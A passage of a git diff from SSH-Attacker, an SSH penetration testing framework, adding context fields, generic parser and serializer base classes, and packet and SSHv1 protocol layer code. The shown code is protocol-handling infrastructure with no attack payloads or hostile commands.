+ return getConnection().getLocalConnectionEndType() == ConnectionEndType.SERVER;
}
public boolean isHandleAsClient() {
@@ -1204,4 +1208,78 @@ public boolean isHandleAsClient() {
public void setHandleAsClient(boolean handleAsClient) {
this.handleAsClient = handleAsClient;
}
+
+ public byte[] getSshv1SessionID() {
+ return sshv1SessionID;
+ }
+
+ public void setSshv1SessionID(byte[] sshv1SessionID) {
+ this.sshv1SessionID = sshv1SessionID;
+ }
+
+ public Optional getAntiSpoofingCookie() {
+ return Optional.ofNullable(antiSpoofingCookie);
+ }
+
+ public void setAntiSpoofingCookie(byte[] antiSpoofingCookie) {
+ this.antiSpoofingCookie = antiSpoofingCookie;
+ }
+
+ public List getChosenProtocolFlags() {
+ return chosenProtocolFlags;
+ }
+
+ public void setChosenProtocolFlags(List chosenProtocolFlags) {
+ this.chosenProtocolFlags = chosenProtocolFlags;
+ }
+
+ public CipherMethod getChosenCipherMethod() {
+ return chosenCipherMethod;
+ }
+
+ public void setChosenCipherMethod(CipherMethod chosenCipherMethod) {
+ this.chosenCipherMethod = chosenCipherMethod;
+ }
+
+ public AuthenticationMethodSSHv1 getChosenAuthenticationMethod() {
+ return chosenAuthenticationMethod;
+ }
+
+ public void setChosenAuthenticationMethod(
+ AuthenticationMethodSSHv1 chosenAuthenticationMethod) {
+ this.chosenAuthenticationMethod = chosenAuthenticationMethod;
+ }
+
+ public List getSupportedCipherMethods() {
+ return supportedCipherMethods;
+ }
+
+ public void setSupportedCipherMethods(List supportedCipherMethods) {
+ this.supportedCipherMethods = supportedCipherMethods;
+ }
+
+ public List getSupportedAuthenticationMethods() {
+ return supportedAuthenticationMethods;
+ }
+
+ public void setSupportedAuthenticationMethods(
+ List supportedAuthenticationMethods) {
+ this.supportedAuthenticationMethods = supportedAuthenticationMethods;
+ }
+
+ public byte[] getSessionKey() {
+ return sessionKey;
+ }
+
+ public void setSessionKey(byte[] sessionKey) {
+ this.sessionKey = sessionKey;
+ }
+
+ public int getBbResult() {
+ return bbResult;
+ }
+
+ public void setBbResult(int bbResult) {
+ this.bbResult = bbResult;
+ }
}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/context/TcpContext.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/context/TcpContext.java
new file mode 100644
index 000000000..15491369f
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/context/TcpContext.java
@@ -0,0 +1,30 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.context;
+
+import de.rub.nds.sshattacker.core.state.Context;
+import de.rub.nds.tlsattacker.transport.socket.SocketState;
+
+/** Holds all runtime variables of the TCPLayer. */
+public class TcpContext extends LayerContext {
+
+ private SocketState finalSocketState;
+
+ public TcpContext(Context context) {
+ super(context);
+ context.setTcpContext(this);
+ }
+
+ public SocketState getFinalSocketState() {
+ return finalSocketState;
+ }
+
+ public void setFinalSocketState(SocketState finalSocketState) {
+ this.finalSocketState = finalSocketState;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/DataContainer.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/DataContainer.java
new file mode 100644
index 000000000..116f2abdf
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/DataContainer.java
@@ -0,0 +1,40 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.data;
+
+import de.rub.nds.sshattacker.core.layer.context.LayerContext;
+import java.io.InputStream;
+
+/**
+ * All protocol messages are abstracted with the DataContainer interface. For SSH-Attacker to work
+ * with data it only needs to know how to parse, prepare, serialize and handle the message. All
+ * messages must therefore provide this functionality.
+ */
+public interface DataContainer<
+ Container extends DataContainer, ?>, Context extends LayerContext> {
+
+ public Parser getParser(Context context, InputStream stream);
+
+ public Preparator getPreparator(Context context);
+
+ public Serializer getSerializer(Context context);
+
+ public Handler getHandler(Context context);
+
+ public default boolean isRequired() {
+ return true;
+ }
+
+ public default String toCompactString() {
+ return toString();
+ }
+
+ public default String toShortString() {
+ return toCompactString();
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Handler.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Handler.java
new file mode 100644
index 000000000..476a1a77b
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Handler.java
@@ -0,0 +1,17 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.data;
+
+/**
+ * @param The Object that should be Handled
+ */
+@FunctionalInterface
+public interface Handler {
+
+ void adjustContext(T object);
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Parser.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Parser.java
new file mode 100644
index 000000000..1c15232bd
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Parser.java
@@ -0,0 +1,240 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.data;
+
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.sshattacker.core.exceptions.EndOfStreamException;
+import de.rub.nds.sshattacker.core.exceptions.ParserException;
+import de.rub.nds.sshattacker.core.exceptions.TimeoutException;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.math.BigInteger;
+import java.net.SocketTimeoutException;
+import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+/**
+ * Abstract Parser class which can be used to read a byte array.
+ *
+ * @param Type of the Object that should be parsed
+ */
+public abstract class Parser {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ private final InputStream stream;
+
+ /** Not so nice... */
+ private final ByteArrayOutputStream outputStream;
+
+ /**
+ * Constructor for the Parser
+ *
+ * @param stream The Inputstream to read data drom
+ */
+ public Parser(InputStream stream) {
+ this.stream = stream;
+ outputStream = new ByteArrayOutputStream();
+ }
+
+ public byte[] getAlreadyParsed() {
+ return outputStream.toByteArray();
+ }
+
+ /**
+ * Parses a number of bytes from the Array and returns them as a byte[].
+ *
+ * @param length Number of bytes to be parsed
+ * @return A subByteArray of according size from the Array
+ */
+ protected byte[] parseByteArrayField(int length) {
+ if (length == 0) {
+ return new byte[0];
+ }
+ if (length < 0) {
+ throw new ParserException("Trying to parse a negative amount of bytes");
+ }
+ byte[] data = new byte[length];
+ try {
+ int read = stream.read(data);
+ if (read == -1) {
+ throw new EndOfStreamException("Reached end of Stream");
+ }
+ if (read != length) {
+ throw new EndOfStreamException(
+ "Reached end of stream after "
+ + read
+ + " bytes, while trying to read "
+ + length
+ + " bytes!");
+ } else {
+ outputStream.write(data);
+ }
+ } catch (SocketTimeoutException E) {
+ throw new TimeoutException("Received a timeout while reading", E);
+ } catch (IOException E) {
+ throw new ParserException("Could not parse byteArrayField of length=" + length, E);
+ }
+ return data;
+ }
+
+ /**
+ * Parses a number of bytes from the Array and returns them as a int. Throws a ParserException
+ * if the number of bytes cannot be parsed. Moves the pointer accordingly.
+ *
+ * @param length Number of bytes to be parsed
+ * @return An integer representation of the subByteArray
+ */
+ protected int parseIntField(int length) {
+ if (length == 0) {
+ throw new ParserException("Cannot parse int of size 0");
+ }
+ return ArrayConverter.bytesToInt(parseByteArrayField(length));
+ }
+
+ /**
+ * Parses a number of bytes from the Array and returns them as a positive BigInteger. Throws a
+ * ParserException if the number of bytes cannot be parsed. Moves the pointer accordingly.
+ *
+ * @param length Number of bytes to be parsed
+ * @return A BigInteger representation of the subByteArray
+ */
+ protected BigInteger parseBigIntField(int length) {
+ if (length == 0) {
+ throw new ParserException("Cannot parse BigInt of size 0");
+ }
+ return new BigInteger(1, parseByteArrayField(length));
+ }
+
+ /**
+ * Parses a number of bytes from the Array and returns them as a byte. Throws a ParserException
+ * if the number of bytes cannot be parsed. Moves the pointer accordingly.
+ *
+ * @param length Number of bytes to be parsed
+ * @return An integer representation of the subByteArray
+ */
+ protected byte parseByteField(int length) {
+ if (length == 0) {
+ throw new ParserException("Cannot parse byte of size 0");
+ }
+ if (length > 1) {
+ LOGGER.warn("Parsing byte[] field into a byte of size >1");
+ }
+ return (byte) ArrayConverter.bytesToInt(parseByteArrayField(length));
+ }
+
+ protected String parseStringTill(byte endSequence) {
+ ByteArrayOutputStream stream = new ByteArrayOutputStream();
+ while (true) {
+ byte b = parseByteField(1);
+ stream.write(b);
+ if (b == endSequence) {
+ return stream.toString();
+ }
+ }
+ }
+
+ /**
+ * Checks if there are at least count bytes left to read
+ *
+ * @param count Number of bytes to check for
+ * @return True if there are at least count bytes left to read
+ */
+ protected boolean enoughBytesLeft(int count) {
+ return getBytesLeft() >= count;
+ }
+
+ protected byte[] parseArrayOrTillEnd(int n) {
+ if (n >= 0 && n < getBytesLeft()) {
+ return parseByteArrayField(n);
+ } else {
+ return parseByteArrayField(getBytesLeft());
+ }
+ }
+
+ protected byte[] parseTillEnd() {
+ return parseByteArrayField(getBytesLeft());
+ }
+
+ public int getBytesLeft() {
+ try {
+ return stream.available();
+ } catch (IOException ex) {
+ throw new ParserException("Cannot tell how many bytes are left in inputstream", ex);
+ }
+ }
+
+ /**
+ * Parses a number of bytes from the Array and returns them as a string (using UTF-8 encoding).
+ * Throws a ParserException if the number of bytes cannot be parsed. Moves the pointer
+ * accordingly.
+ *
+ * @param length Number of bytes to be parsed
+ * @return A string representation of the subbyteArray
+ */
+ protected String parseByteString(int length) {
+ return parseByteString(length, StandardCharsets.UTF_8);
+ }
+
+ /**
+ * Parses a number of bytes from the Array and returns them as a string. Throws a
+ * ParserException if the number of bytes cannot be parsed. Moves the pointer accordingly.
+ *
+ * @param length Number of bytes to be parsed
+ * @param charset Charset used to convert the bytes into a String
+ * @return A string representation of the subbyteArray
+ */
+ protected String parseByteString(int length, Charset charset) {
+ return new String(parseByteArrayField(length), charset);
+ }
+
+ protected BigInteger parseMultiprecision() {
+ int lenght = parseIntField(2);
+ LOGGER.debug("[bro] got lenght before resize: {}", lenght);
+ int resize = 0;
+ if (lenght % 8 != 0) {
+ resize = 8 - lenght % 8;
+ }
+
+ lenght = (lenght + resize) / 8;
+ LOGGER.debug("[bro] got lenght after resize: {}", lenght);
+ return parseBigIntField(lenght);
+ }
+
+ protected byte[] parseMultiprecisionAsByteArray() {
+ int lenght = parseIntField(2);
+ LOGGER.debug("[bro] got lenght before resize: {}", lenght);
+ int resize = 0;
+ if (lenght % 8 != 0) {
+ resize = 8 - lenght % 8;
+ }
+
+ lenght = (lenght + resize) / 8;
+ LOGGER.debug("[bro] got lenght after resize: {}", lenght);
+ return parseByteArrayField(lenght);
+ }
+
+ /**
+ * Returns the parsed object.
+ *
+ * @param t object that should be filled with content
+ */
+ public abstract void parse(T t);
+
+ /**
+ * TODO: This can break get already parsed - not so nice
+ *
+ * @return return Inputstream
+ */
+ protected InputStream getStream() {
+ return stream;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Preparator.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Preparator.java
new file mode 100644
index 000000000..9976b07b6
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Preparator.java
@@ -0,0 +1,36 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.data;
+
+import de.rub.nds.sshattacker.core.exceptions.PreparationException;
+import de.rub.nds.sshattacker.core.workflow.chooser.Chooser;
+
+/**
+ * @param The Object that should be prepared
+ */
+public abstract class Preparator {
+
+ protected final Chooser chooser;
+ private final T object;
+
+ public Preparator(Chooser chooser, T object) {
+ this.chooser = chooser;
+ this.object = object;
+ if (object == null) {
+ throw new PreparationException("Cannot prepare NULL");
+ }
+ }
+
+ public abstract void prepare();
+
+ public T getObject() {
+ return object;
+ }
+
+ public void afterPrepare() {}
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Serializer.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Serializer.java
new file mode 100644
index 000000000..8da4c1e11
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/data/Serializer.java
@@ -0,0 +1,164 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.data;
+
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.math.BigInteger;
+import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+/**
+ * The Serializer is responsible to write an Object T into a byte[] form. This is comparable to
+ * byte[] serialization.
+ *
+ * @param Type of the Object to write
+ */
+public abstract class Serializer {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ /** The ByteArrayOutputStream with which the byte[] is constructed. */
+ private ByteArrayOutputStream outputStream;
+
+ /** Constructor for the Serializer */
+ public Serializer() {
+ outputStream = new ByteArrayOutputStream();
+ }
+
+ /**
+ * This method is responsible to write the appropriate bytes to the output Stream This should be
+ * done by calling the different append methods.
+ *
+ * @return The already serialized Bytes
+ */
+ protected abstract byte[] serializeBytes();
+
+ /**
+ * Adds a byte[] representation of an int to the final byte[]. If the Integer is greater than
+ * the specified length only the lower length bytes are serialized.
+ *
+ * @param i The Integer that should be appended
+ * @param length The number of bytes which should be reserved for this Integer
+ */
+ public final void appendInt(int i, int length) {
+ byte[] bytes = ArrayConverter.intToBytes(i, length);
+ int reconvertedInt = ArrayConverter.bytesToInt(bytes);
+ if (reconvertedInt != i) {
+ LOGGER.warn(
+ "Int \""
+ + i
+ + "\" is too long to write in field of size "
+ + length
+ + ". Only using last "
+ + length
+ + " bytes.");
+ }
+ appendBytes(ArrayConverter.intToBytes(i, length));
+ }
+
+ protected final void appendString(String s, Charset charset) {
+ appendBytes(s.getBytes(charset));
+ }
+
+ protected final void appendString(String s) {
+ appendString(s, StandardCharsets.UTF_8);
+ }
+
+ /**
+ * Adds a byte[] representation of a BigInteger to the final byte[] minus the sign byte. If the
+ * BigInteger is greater than the specified length only the lower length bytes are serialized.
+ *
+ * @param i The BigInteger that should be appended
+ * @param length The number of bytes which should be reserved for this BigInteger
+ */
+ public final void appendBigInteger(BigInteger i, int length) {
+ byte[] bytes;
+ // special case for which bigIntegerToByteArray
+ // wrongly returns an empty array
+ if (i.equals(BigInteger.ZERO)) {
+ bytes = ArrayConverter.intToBytes(0, length);
+ } else {
+ bytes = ArrayConverter.bigIntegerToByteArray(i, length, true);
+ }
+ appendBytes(bytes);
+ }
+
+ public final void appendMultiPrecision(BigInteger i) {
+ byte[] bytes;
+ int lenght = i.bitLength();
+ LOGGER.debug("MPI is {} Bit long", lenght);
+ bytes = ArrayConverter.intToBytes(lenght, 2);
+ appendBytes(bytes);
+ LOGGER.debug(" -> Appended Length {}", ArrayConverter.bytesToHexString(bytes));
+
+ bytes = ArrayConverter.bigIntegerToByteArray(i);
+ LOGGER.debug(" -> Appended MPI-Value {}", ArrayConverter.bytesToHexString(bytes));
+
+ appendBytes(bytes);
+ }
+
+ public final void appendMultiPrecisionAsByteArray(byte[] i) {
+ byte[] bytes;
+ int lenght = i.length * 8;
+ LOGGER.debug("MPI is {} Bit long", lenght);
+ bytes = ArrayConverter.intToBytes(lenght, 2);
+ appendBytes(bytes);
+ LOGGER.debug(" -> Appended Length {}", ArrayConverter.bytesToHexString(bytes));
+
+ bytes = i;
+ LOGGER.debug(" -> Appended MPI-Value {}", ArrayConverter.bytesToHexString(bytes));
+
+ appendBytes(bytes);
+ }
+
+ /**
+ * Adds a byte to the final byte[].
+ *
+ * @param b Byte which should be added
+ */
+ public final void appendByte(byte b) {
+ outputStream.write(b);
+ }
+
+ /**
+ * Adds a byte[] to the final byte[].
+ *
+ * @param bytes bytes that should be added
+ */
+ public final void appendBytes(byte[] bytes) {
+ try {
+ outputStream.write(bytes);
+ } catch (IOException ex) {
+ LOGGER.warn("Encountered exception while writing to ByteArrayOutputStream.");
+ LOGGER.debug(ex);
+ }
+ }
+
+ public final byte[] getAlreadySerialized() {
+ return outputStream.toByteArray();
+ }
+
+ /**
+ * Creates the final byte[]
+ *
+ * @return The final byte[]
+ */
+ public final byte[] serialize() {
+ outputStream = new ByteArrayOutputStream();
+ serializeBytes();
+ return getAlreadySerialized();
+ }
+
+ public ByteArrayOutputStream getOutputStream() {
+ return outputStream;
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/PacketLayer.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/PacketLayer.java
new file mode 100644
index 000000000..52b8df4b4
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/PacketLayer.java
@@ -0,0 +1,255 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.impl;
+
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.sshattacker.core.constants.CipherMode;
+import de.rub.nds.sshattacker.core.constants.CompressionAlgorithm;
+import de.rub.nds.sshattacker.core.constants.PacketLayerType;
+import de.rub.nds.sshattacker.core.exceptions.EndOfStreamException;
+import de.rub.nds.sshattacker.core.exceptions.TimeoutException;
+import de.rub.nds.sshattacker.core.layer.LayerConfiguration;
+import de.rub.nds.sshattacker.core.layer.LayerProcessingResult;
+import de.rub.nds.sshattacker.core.layer.ProtocolLayer;
+import de.rub.nds.sshattacker.core.layer.constant.ImplementedLayers;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
+import de.rub.nds.sshattacker.core.layer.data.Preparator;
+import de.rub.nds.sshattacker.core.layer.data.Serializer;
+import de.rub.nds.sshattacker.core.layer.stream.LayerLayerInputStream;
+import de.rub.nds.sshattacker.core.packet.AbstractPacket;
+import de.rub.nds.sshattacker.core.packet.BinaryPacket;
+import de.rub.nds.sshattacker.core.packet.BinaryPacketSSHv1;
+import de.rub.nds.sshattacker.core.packet.BlobPacket;
+import de.rub.nds.sshattacker.core.packet.cipher.PacketCipher;
+import de.rub.nds.sshattacker.core.packet.cipher.PacketCipherFactory;
+import de.rub.nds.sshattacker.core.packet.compressor.PacketCompressor;
+import de.rub.nds.sshattacker.core.packet.compressor.PacketDecompressor;
+import de.rub.nds.sshattacker.core.packet.crypto.AbstractPacketDecryptor;
+import de.rub.nds.sshattacker.core.packet.crypto.AbstractPacketEncryptor;
+import de.rub.nds.sshattacker.core.packet.crypto.PacketDecryptor;
+import de.rub.nds.sshattacker.core.packet.crypto.PacketEncryptor;
+import de.rub.nds.sshattacker.core.packet.parser.AbstractPacketParser;
+import de.rub.nds.sshattacker.core.packet.parser.BinaryPacketParser;
+import de.rub.nds.sshattacker.core.packet.parser.BinaryPacketParserSSHv1;
+import de.rub.nds.sshattacker.core.packet.parser.BlobPacketParser;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.LinkedList;
+import java.util.List;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class PacketLayer extends ProtocolLayer {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+ private SshContext context;
+
+ private final AbstractPacketDecryptor decryptor;
+ private final AbstractPacketEncryptor encryptor;
+
+ private final PacketCompressor compressor;
+ private final PacketDecompressor decompressor;
+
+ public PacketLayer(SshContext context) {
+ super(ImplementedLayers.PACKET_LAYER);
+ this.context = context;
+ encryptor =
+ new PacketEncryptor(
+ PacketCipherFactory.getNoneCipher(context, CipherMode.ENCRYPT), context);
+ decryptor =
+ new PacketDecryptor(
+ PacketCipherFactory.getNoneCipher(context, CipherMode.DECRYPT), context);
+ compressor = new PacketCompressor();
+ decompressor = new PacketDecompressor();
+ }
+
+ @Override
+ public LayerProcessingResult sendConfiguration() throws IOException {
+
+ LayerConfiguration configuration = getLayerConfiguration();
+ if (configuration != null && configuration.getContainerList() != null) {
+ for (AbstractPacket packet : configuration.getContainerList()) {
+ if (containerAlreadyUsedByHigherLayer(packet) /*|| skipEmptyRecords(session)*/) {
+ continue;
+ }
+ // AbstractPacket packet = messageLayer.serialize(message);
+ Preparator preparator = packet.getPreparator(context);
+ preparator.prepare();
+ Serializer serializer = packet.getSerializer(context);
+ byte[] serializedMessage = serializer.serialize();
+
+ getLowerLayer().sendData(serializedMessage);
+ }
+ }
+ return getLayerResult();
+ }
+
+ @Override
+ public LayerProcessingResult sendData(byte[] additionalData)
+ throws IOException {
+
+ AbstractPacket packet;
+ if (context.getPacketLayerType() == PacketLayerType.BLOB) {
+ packet = new BlobPacket();
+ } else {
+ if (getHigherLayer().getLayerType().getName().equals("SSHV1")) {
+ LOGGER.debug("[bro] Created a Binary SSHv1 Packet");
+ packet = new BinaryPacketSSHv1();
+ } else {
+ LOGGER.debug("[bro] Created a Binary SSHv2 Packet");
+ packet = new BinaryPacket();
+ }
+ }
+ packet.setPayload(additionalData);
+
+ Preparator preparator = packet.getPreparator(context);
+ preparator.prepare();
+ Serializer serializer = packet.getSerializer(context);
+ byte[] serializedMessage = serializer.serialize();
+
+ List packets = new LinkedList<>();
+ packets.add(packet);
+
+ getLowerLayer().sendData(serializedMessage);
+ return new LayerProcessingResult<>(packets, getLayerType(), true);
+ }
+
+ @Override
+ public LayerProcessingResult receiveData() {
+
+ throw new UnsupportedOperationException("Not supported yet.");
+ }
+
+ @Override
+ public void receiveMoreData() throws IOException {
+ try {
+ InputStream dataStream = null;
+ try {
+ dataStream = getLowerLayer().getDataStream();
+ } catch (IOException e) {
+ LOGGER.warn("The lower layer did not produce a data stream: ", e);
+ return;
+ }
+ LOGGER.debug("Available Data: {}", dataStream.available());
+ AbstractPacketParser parser;
+ AbstractPacket packet;
+ if (context.getPacketLayerType() == PacketLayerType.BINARY_PACKET) {
+ // If we have a SSHv1 connection, parse as sshv1-packet
+ if (getHigherLayer().getLayerType().getName().equals("SSHV1")) {
+ parser =
+ new BinaryPacketParserSSHv1(
+ dataStream,
+ context.getPacketLayer().getDecryptorCipher(),
+ context.getReadSequenceNumber());
+ packet = new BinaryPacketSSHv1();
+ } else {
+ // If not, trade it as sshv2-packet
+ parser =
+ new BinaryPacketParser(
+ dataStream,
+ context.getPacketLayer().getDecryptorCipher(),
+ context.getReadSequenceNumber());
+ packet = new BinaryPacket();
+ }
+ // BLOB packets do not make a difference between sshv1 and sshv2
+ } else if (context.getPacketLayerType() == PacketLayerType.BLOB) {
+ parser = new BlobPacketParser(dataStream);
+ packet = new BlobPacket();
+ } else {
+ throw new RuntimeException();
+ }
+
+ parser.parse(packet);
+
+ LOGGER.debug("Recieved Packet: {} | {}", packet.getPayload(), packet.getCiphertext());
+
+ decryptPacket(packet);
+ decompressPacket(packet);
+
+ LOGGER.debug(
+ "Decompressed Payload: {}",
+ ArrayConverter.bytesToHexString(packet.getPayload()));
+
+ addProducedContainer(packet);
+
+ if (currentInputStream == null) {
+ // only set new input stream if necessary, extend current stream otherwise
+ currentInputStream = new LayerLayerInputStream(this);
+ }
+ currentInputStream.extendStream(packet.getPayload().getValue());
+ } catch (TimeoutException ex) {
+ LOGGER.debug(ex);
+ } catch (EndOfStreamException ex) {
+ LOGGER.debug("Reached end of stream, cannot parse more messages", ex);
+ throw ex;
+ }
+ }
+
+ public PacketCipher getEncryptorCipher() {
+ return encryptor.getPacketMostRecentCipher();
+ }
+
+ public PacketCipher getDecryptorCipher() {
+ return decryptor.getPacketMostRecentCipher();
+ }
+
+ public void resetEncryptor() {
+ encryptor.removeAllCiphers();
+ }
+
+ public void resetDecryptor() {
+ decryptor.removeAllCiphers();
+ }
+
+ public AbstractPacketEncryptor getEncryptor() {
+ return encryptor;
+ }
+
+ public AbstractPacketDecryptor getDecryptor() {
+ return decryptor;
+ }
+
+ public PacketCompressor getCompressor() {
+ return compressor;
+ }
+
+ public PacketDecompressor getDecompressor() {
+ return decompressor;
+ }
+
+ public void updateCompressionAlgorithm(CompressionAlgorithm algorithm) {
+ compressor.setCompressionAlgorithm(algorithm);
+ }
+
+ public void updateDecompressionAlgorithm(CompressionAlgorithm algorithm) {
+ decompressor.setCompressionAlgorithm(algorithm);
+ }
+
+ public void updateEncryptionCipher(PacketCipher encryptionCipher) {
+ LOGGER.debug(
+ "Activating new EncryptionCipher ({})",
+ encryptionCipher.getClass().getSimpleName());
+ encryptor.addNewPacketCipher(encryptionCipher);
+ }
+
+ public void updateDecryptionCipher(PacketCipher decryptionCipher) {
+ LOGGER.debug(
+ "Activating new DecryptionCipher ({})",
+ decryptionCipher.getClass().getSimpleName());
+ decryptor.addNewPacketCipher(decryptionCipher);
+ }
+
+ protected void decryptPacket(AbstractPacket> packet) {
+ packet.prepareComputations();
+ decryptor.decrypt(packet);
+ }
+
+ protected void decompressPacket(AbstractPacket packet) {
+ decompressor.decompress(packet);
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/SSH1Layer.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/SSH1Layer.java
new file mode 100644
index 000000000..30a6b648e
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/SSH1Layer.java
@@ -0,0 +1,312 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.impl;
+
+import de.rub.nds.sshattacker.core.constants.MessageIdConstant;
+import de.rub.nds.sshattacker.core.constants.MessageIdConstantSSH1;
+import de.rub.nds.sshattacker.core.constants.PacketLayerType;
+import de.rub.nds.sshattacker.core.exceptions.EndOfStreamException;
+import de.rub.nds.sshattacker.core.exceptions.TimeoutException;
+import de.rub.nds.sshattacker.core.layer.LayerConfiguration;
+import de.rub.nds.sshattacker.core.layer.LayerProcessingResult;
+import de.rub.nds.sshattacker.core.layer.ProtocolLayer;
+import de.rub.nds.sshattacker.core.layer.constant.ImplementedLayers;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
+import de.rub.nds.sshattacker.core.layer.stream.LayerInputStream;
+import de.rub.nds.sshattacker.core.layer.stream.LayerInputStreamAdapterStream;
+import de.rub.nds.sshattacker.core.layer.stream.LayerLayerInputStream;
+import de.rub.nds.sshattacker.core.packet.AbstractPacket;
+import de.rub.nds.sshattacker.core.packet.BinaryPacket;
+import de.rub.nds.sshattacker.core.packet.BlobPacket;
+import de.rub.nds.sshattacker.core.protocol.common.*;
+import de.rub.nds.sshattacker.core.protocol.ssh1.client.message.*;
+import de.rub.nds.sshattacker.core.protocol.ssh1.general.message.*;
+import de.rub.nds.sshattacker.core.protocol.ssh1.server.message.*;
+import de.rub.nds.sshattacker.core.protocol.transport.message.AsciiMessage;
+import de.rub.nds.sshattacker.core.protocol.transport.parser.AsciiMessageParser;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class SSH1Layer extends ProtocolLayer {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+ private SshContext context;
+
+ public SSH1Layer(SshContext context) {
+ super(ImplementedLayers.SSHV1);
+ this.context = context;
+ }
+
+ @Override
+ public LayerProcessingResult sendConfiguration() throws IOException {
+ LayerConfiguration configuration = getLayerConfiguration();
+ ByteArrayOutputStream collectedMessageStream = new ByteArrayOutputStream();
+ if (configuration != null && configuration.getContainerList() != null) {
+ for (ProtocolMessage message : configuration.getContainerList()) {
+ collectedMessageStream = new ByteArrayOutputStream();
+ processMessage(message, collectedMessageStream);
+ addProducedContainer(message);
+ flushCollectedMessages(collectedMessageStream);
+
+ ProtocolMessageHandler> handler = message.getHandler(context);
+ if (handler instanceof MessageSentHandler) {
